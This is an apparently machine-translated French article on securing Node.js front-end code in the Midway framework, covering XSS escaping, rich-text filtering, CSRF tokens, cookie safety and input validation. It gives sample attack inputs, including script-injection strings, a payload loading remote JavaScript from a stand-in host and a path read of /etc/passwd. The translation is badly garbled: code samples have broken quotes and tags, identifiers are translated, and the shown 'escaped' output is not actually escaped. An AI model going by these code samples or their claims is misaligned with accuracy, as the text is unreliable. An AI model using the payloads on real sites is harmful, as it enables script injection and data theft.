Préface
Dans le modèle de développement de la séparation des frontaux et du back-end, le changement le plus évident en termes de rôles et de fonctions de développement est: dans le passé, les étudiants frontaux qui n'étaient responsables du développement dans l'environnement du navigateur nécessaire pour explorer le niveau de fin de serveur et écrire du code de fin de serveur. Et une question de base dont nous sommes saisis est de savoir comment assurer la sécurité du Web?
Cet article propose des solutions aux problèmes de sécurité rencontrés par le mode de séparation frontale et back-end dans le développement Web de la frontale, ainsi que des contre-mesures et des précautions.
Défense de l'attaque de script inter-sites (XSS)
Problèmes et solutions
Les scripts croisés (XSS, script inter-sites) sont la méthode la plus courante et la plus basique d'attaque des sites Web. Un attaquant peut publier des données contenant du code offensif sur une page Web. Lorsqu'un navigateur voit cette page Web, un script spécifique sera exécuté comme l'identité et les autorisations de l'utilisateur du navigateur. Les XS peuvent être plus facilement modifiés, les données des utilisateurs, les informations, les informations de l'utilisateur et provoquer d'autres types d'attaques, telles que les attaques CSRF.
Le moyen de base d'empêcher les attaques XSS est de s'assurer que toute sortie de données sur une page HTML est échappée en HTML (HTML Escape). Par exemple, le code de modèle suivant:
La copie de code est la suivante:
<TextArea name = "Description"> $ Description </ TextArea>
La description de $ dans ce code est une variable du modèle (la syntaxe des variables définies dans différents modèles est différente, voici juste un diagramme). Les données soumises par l'utilisateur peuvent entrer un morceau de code contenant "javascript" pour faire en sorte que le résultat de l'instruction de modèle ci-dessus devienne le résultat suivant:
La copie de code est la suivante:
<textarea name = "Description">
</ textArea> <Script> alert ('Hello') '</script>
</ textarea>
Le code ci-dessus, rendu dans le navigateur, exécutera le code JavaScript et alerte Hello à l'écran. Bien sûr, ce code est inoffensif, mais un attaquant peut créer un javascript pour modifier les informations de l'utilisateur ou voler des données de cookie.
La solution est très simple, c'est-à-dire pour échapper à HTML la valeur de $ Description. Le code de sortie après évasion est le suivant
La copie de code est la suivante:
<textarea name = "Description">
</ textarea> <cript> alerte (bonjour!) </cript>
</ textarea>
Le code HTML échappé ci-dessus n'est pas nocif.
Solution de Midway
Échapper à toutes les données de sortie de l'utilisateur dans la page
Il existe plusieurs situations et méthodes pour échapper aux données:
1. Échappez en utilisant le mécanisme fourni à l'intérieur du modèle
Midway utilise Kissy XTemplate comme langue de modèle.
Dans l'implémentation XTemplate, les données du modèle sont analysées à l'aide de deux supports ({{val}}). Par défaut, les données sont échappées par HTML, afin que les développeurs puissent écrire des modèles comme ceci:
La copie de code est la suivante:
<textarea name = "Description"> {{description}} </ textarea>
Dans XTemplate, si vous ne voulez pas que les données de sortie soient échappées, vous devez utiliser trois supports ({{{Val}}}).
2. Appel sans ambiguïté Fonctions d'échappement à mi-chemin
Les développeurs peuvent appeler directement la méthode HTML Escape fournie par Midway dans le programme ou le modèle Node.js pour échapper aux données affichées, comme suit:
Méthode 1: Données HTML Escape dans le programme Node.js
La copie de code est la suivante:
Var Security = require («Midway-Security»);
// Données du serveur, par exemple {html: '</ textarea>', autre: ""}
data.html = Security.EscapeHtml (data.html);
xtpl = xtpl.render (data);
Méthode 2: Données HTML HTML HTML dans le modèle
La copie de code est la suivante:
<textarea name = "Description"> security.escapehtml ({{{description}}}) </ textarea>
Remarque: Security.EscapeHTML est utilisé pour l'évasion uniquement lorsque les données ne sont pas échappées à l'intérieur du modèle. Sinon, le modèle interne et programme échapperont à la superposition deux fois, ce qui entraînera une sortie qui ne répond pas aux attentes.
Recommandé: Si vous utilisez XTemplate, il est recommandé d'utiliser le {{}} intégré du modèle pour s'échapper directement; Si vous utilisez d'autres modèles, il est recommandé d'utiliser la sécurité.escapehtml pour l'évasion.
Filtre le texte riche en sortie des utilisateurs de la page
Vous pouvez penser: "En fait, je veux juste sortir du texte riche, comme certains babillards et forums pour fournir aux utilisateurs une taille de police, une couleur, un arrière-plan et d'autres fonctions simples. Comment dois-je gérer un texte aussi riche pour empêcher les XSS?"
1. Utilisez la fonction RichText fournie par la sécurité à Midway
Midway fournit une méthode RichText, qui est spécialement utilisée pour filtrer le texte riche et empêcher les vulnérabilités telles que les XS, le phishing et le vol de biscuits.
Il y a un babillard et le code de modèle peut être le suivant:
La copie de code est la suivante:
<div>
{{{message}}}
</div>
Étant donné que le message est les données d'entrée de l'utilisateur, le contenu de son tableau de messages contient des informations textuelles riches, ici, trois accolades sont utilisées dans XTemplate et les évasions HTML ne sont pas effectuées par défaut; Ensuite, les données saisies par l'utilisateur sont les suivantes:
La copie de code est la suivante:
<script src = "http://eval.com/eval.js"> </ script> <span style = "Color: Red; font-size: 20px; position: fixe;"> Je laisse un message </span>
Si les données de texte riches ci-dessus sont directement sorties vers la page, cela entraînera inévitablement l'injection de JS du site EVAM.com dans la page actuelle, provoquant une attaque XSS. Pour empêcher cette vulnérabilité, nous appelons simplement la méthode Security.RichText dans le modèle ou le programme pour traiter la riche entrée de texte par l'utilisateur.
La méthode d'appel est similaire à EscapeHTML, et il existe deux façons de
Méthode 1: Appelez directement dans le programme Node.js
La copie de code est la suivante:
Message = Security.RichText (message);
var html = xtpl.render (message)
Méthode 2: Appelez le modèle
La copie de code est la suivante:
<div>
Security.richText ({{{message}}})
</div>
Après avoir appelé la méthode de sécurité RichText, la sortie finale est la suivante:
La copie de code est la suivante:
<div>
<span style = "Color: Red; Font-Size: 20px;"> Je laisse un message </span>
</div>
On peut voir d'abord: la balise de script qui provoquera des attaques XSS sera filtrée directement; En même temps, la position d'attribut CSS: fixe; Le style dans la balise de style est également filtré. Enfin, le texte riche en HTML inoffensif est sortie
Découvrez d'autres façons de conduire à des attaques XSS
En plus de l'attaque XSS possible dans le modèle de page, il existe plusieurs autres façons dans les applications Web qui peuvent également être risquées.
1. Vulnérabilité dans la page d'erreur
Si une page ne peut pas être trouvée, le système peut signaler une erreur 404 non trouvée, par exemple: http: // localhost / page / not / trouvé
404 Not-Found
Page / Page / Not / Found n'exsit pas
De toute évidence: l'attaquant peut utiliser cette page pour construire une connexion comme celle-ci, http: // localhost /% 3cscript% 3elert% 28% 27hello% 27% 29% 3C% 2FScript% 3e, et attirer la victime à cliquer; Si la page d'erreur n'échappe pas à la variable de sortie, le <cript> alert ('Bonjour') </cript> caché dans la connexion sera exécuté.
Dans Express, la méthode d'envoi d'une page 404 est la suivante
res.send (404, «Désolé, nous ne trouvons pas ça!»)
Ici, les développeurs doivent prêter attention à la gestion de la page d'erreur (404 ou autre statut d'erreur). Si le contenu de retour du message d'erreur contient des informations de chemin (en fait, pour être plus précis, les informations d'entrée de l'utilisateur), vous devez effectuer EscapeHTML.
Par la suite, le mécanisme de sécurité de la gestion des erreurs sera achevé au niveau du cadre Midway.
Notes supplémentaires pour les solutions Midway
Autres moteurs de modèle
Midway prend en charge les modèles XTemplates par défaut, mais il peut également prendre en charge d'autres modèles à l'avenir: tels que Jade, Moustache, EJS, etc. Actuellement, dans les modèles traditionnels, les méthodes d'écriture variable de sortie par défaut échappées et non recrutées sont fournies, et les développeurs doivent prêter une attention particulière à leur sécurité.
Autre support pour l'évasion
En plus de la sortie de données texte normale et riche sur la page, certains scénarios incluent également d'autres situations qui peuvent nécessiter une évasion. Midway fournit les méthodes d'évacuation courantes suivantes à utiliser les développeurs:
EscapeHTML filtre les caractères dans HTML spécifié pour empêcher les vulnérabilités XSS
javascript javaScript Échappement des chaînes d'entrée. Unicode Échappement des chinois, des citations simples et des citations doubles s'échapper
Escapejson ne détruit pas la fonction d'échappement de la structure JSON et effectue uniquement un traitement EscapeHTML sur le nom et Vaule dans la structure JSON
Escapejsonforjsvar est naturellement JSencode + Escapejson
Les exemples sont les suivants
La copie de code est la suivante:
var jsontext = "{/" <cript> / ": /" <script> / "}";
console.log (SecurityUtil.escapeJson (JSonText)); // {"<cript>": "<cript>"}
var JSonText = "{/" Hello / ": /" <script> / "}";
console.log (SecurityUtil.escapeJSonforjsvar (JSONText)); // {/ "/ u4f60 / u597d /": / "<cript> /"}
var str = "alert (/" hello / ")";
console.log (SecurityUtil.jSencode (STR)); // alert (/ "/ u4f60 / u597d /")
Prévention des attaques de contrefaçon de demande croisée (CSRF)
Problèmes et solutions
Définition des termes: Formulaire: se réfère généralement au formulaire utilisé par le navigateur pour soumettre des données sur le client; y compris une balise, des données de soumission Ajax, des données de soumission de formulaire de formulaire, etc., plutôt que les balises de formulaire égales à HTML.
La contrefaçon de demande de site transversal (CSRF, contrefaçon de demande croisée) est une autre attaque courante. L'attaquant a forgé une demande par le biais de diverses méthodes et a imité le comportement de l'utilisateur de soumettre des formulaires, atteignant ainsi le but de modifier les données de l'utilisateur ou d'effectuer des tâches spécifiques.
Afin de prétendre être un utilisateur, les attaques CSRF sont souvent combinées avec des attaques XSS, mais d'autres moyens peuvent être utilisés: par exemple, pour inciter les utilisateurs à cliquer sur un lien contenant l'attaque.
L'idée de résoudre les attaques du CSRF est divisée en deux étapes.
1. Augmentez la difficulté de l'attaque. Les demandes d'obtention sont faciles à créer. Les utilisateurs peuvent lancer des demandes de type Get en cliquant sur un lien. Les demandes de poste sont relativement difficiles. Les attaquants ont souvent besoin d'utiliser JavaScript pour les implémenter. Par conséquent, s'assurer que les formulaires de formulaire ou les interfaces de serveur acceptent uniquement les demandes de soumission post-type peuvent augmenter la sécurité du système.
2. Authentifiez la demande pour s'assurer que la demande a effectivement été remplie du formulaire ou a lancé la demande et soumis par l'utilisateur, plutôt que forgé par un tiers.
Le processus d'un utilisateur normal modifiant les informations sur le site Web est la suivante
Demandes de l'utilisateur pour modifier les informations (1) -> Le site Web affiche le formulaire d'informations modifié de l'utilisateur (2) -> L'utilisateur modifie les informations et soumet (3) -> Le site Web accepte les données et les enregistrements modifiées de l'utilisateur (4)
Une attaque CSRF ne prendra pas cet itinéraire, mais forgera directement les informations de soumission de l'utilisateur à l'étape 2.
Sautez directement à l'étape 2 (1) -> Forger les informations à modifier et soumettre (2) -> Le site Web accepte l'attaquant pour modifier les données des paramètres et enregistrer (3)
Tant que ces deux situations peuvent être distinguées, les attaques du CSRF peuvent être empêchées. Alors, comment le distinguer? Il s'agit de vérifier les informations soumises à l'étape 2 pour s'assurer que les données proviennent du formulaire à l'étape 1. Le processus de vérification spécifique est le suivant:
Demandes d'utilisateurs pour modifier les informations (1) -> Le site Web affiche un formulaire vide utilisé pour modifier les informations. Le formulaire contient un jeton spécial et enregistre le jeton dans la session (2) -> L'utilisateur modifie les informations et les soumet, et renvoie les informations de jeton au serveur (3) -> Le site Web compare le jeton renvoyé par l'utilisateur et le jeton dans la session. Cela devrait être cohérent. Ensuite, les données modifiées par l'utilisateur sont acceptées et enregistrées.
De cette façon, si l'attaquant a forgé les informations à modifier et à soumettre, il ne pourrait pas accéder directement à la session, il ne pourrait donc pas obtenir la valeur de jeton réelle; Si la demande était envoyée au serveur, lorsque le serveur a effectué une vérification du jeton, il serait constaté qu'il était incohérent et la demande a été directement rejetée.
Solutions à mi-chemin
Désactiver le formulaire de soumission
Si le serveur n'accepte pas les données de formulaire soumises par GET, cela causera beaucoup de difficulté à l'attaquant; Parce qu'il est très facile de construire un attribut HREF A-LABEL ou un attribut SRC IMG-LABEL sur la page pour construire une demande, mais si vous souhaitez le soumettre, vous devez utiliser un script pour l'implémenter.
Vérifiez les demandes avec le jeton CSRF
Parce que Midway n'implique pas la logique de la session distribuée de Taobao et de la vérification des jetons, dans le cadre Midway, seuls les jetons sont transmis entre le serveur et le client et ne font pas de travail de vérification réel. Le processus est le suivant:
Par la suite: à Midway, après la connexion de la session distribuée de Node.js et Taobao, vous pouvez envisager automatiquement de vérification de jetons à la couche Midway; Après tout, plus la vérification de sécurité est effectuée antérieure, plus le coût est bas.
Suggestion: À Midway, vous pouvez déterminer s'il y a une valeur de jeton dans la demande. Si une opération de modification n'a pas de jeton, vous pouvez dire directement que dans la couche Midway comme étant dangereuse et rejeter la demande.
Autres problèmes de sécurité
Il existe plusieurs problèmes de sécurité Web communs. Voici seulement quelques introductions et continuera d'être hérité dans le cadre Midway à l'avenir.
Sécurité des en-têtes HTTP
Les attaquants d'injection de CRLF trouvent des moyens d'injecter deux caractères spéciaux CRLF dans l'en-tête de réponse, ce qui entraîne un format de données de réponse exceptionnel, injectant ainsi le script, etc.
Les attaques d'accès refusées à chaque demande parce que les cookies sont apportés par défaut, et le serveur limite généralement la taille des cookies, ce qui mène à cela si les cookies du client utilisateur sont définis pour dépasser un certain seuil, l'utilisateur ne pourra plus accéder au site Web.
Prévention et contrôle des cookies, le vol général des cookies est obtenu via JavaScript (vulnérabilité XSS), alors essayez de définir des cookies sur HTTP uniquement et ajoutez le temps d'expiration des cookies
En ce qui concerne les problèmes de sécurité des cookies, Webx a déjà eu une bonne solution auparavant; Cette fois, Midway n'est pas responsable du réglage et de la vérification des cookies et n'est responsable que du transfert au niveau Webx pour la vérification.
À propos de node.js
Les vulnérabilités injectives telles que les XS sont les plus faciles à ignorer parmi toutes les vulnérabilités, représentant plus de 70% du total des attaques Internet; Lors de la rédaction du code Node.js, les développeurs doivent toujours se rappeler et ne jamais faire confiance aux entrées des utilisateurs.
Par exemple, les exemples suivants.
var mod = fs.readfilesync ('path'); Si le chemin provient de la saisie de l'utilisateur, en supposant que l'utilisateur entre / etc / mot de passe, le contenu qui ne doit pas être lu sera lu, provoquant le risque de fuite de mot de passe
var result = eval (jsonval); Assurez-vous de vous assurer que JSONVAL est JSON, pas la saisie de l'utilisateur
... Dans d'autres endroits qui peuvent contenir l'entrée de l'utilisateur, assurez-vous de confirmer que l'entrée de l'utilisateur est la valeur que nous attendons.
Résumer
Dans le mode de séparation des producteurs frontaux et back-end, les développeurs frontaux traditionnels peuvent commencer à écrire du code back-end. Bien que l'architecture ne soit responsable que de la couche de modèle, ils seront également exposés à une grande quantité de code arrière; Par conséquent, la sécurité est un grand défi pour le front-end.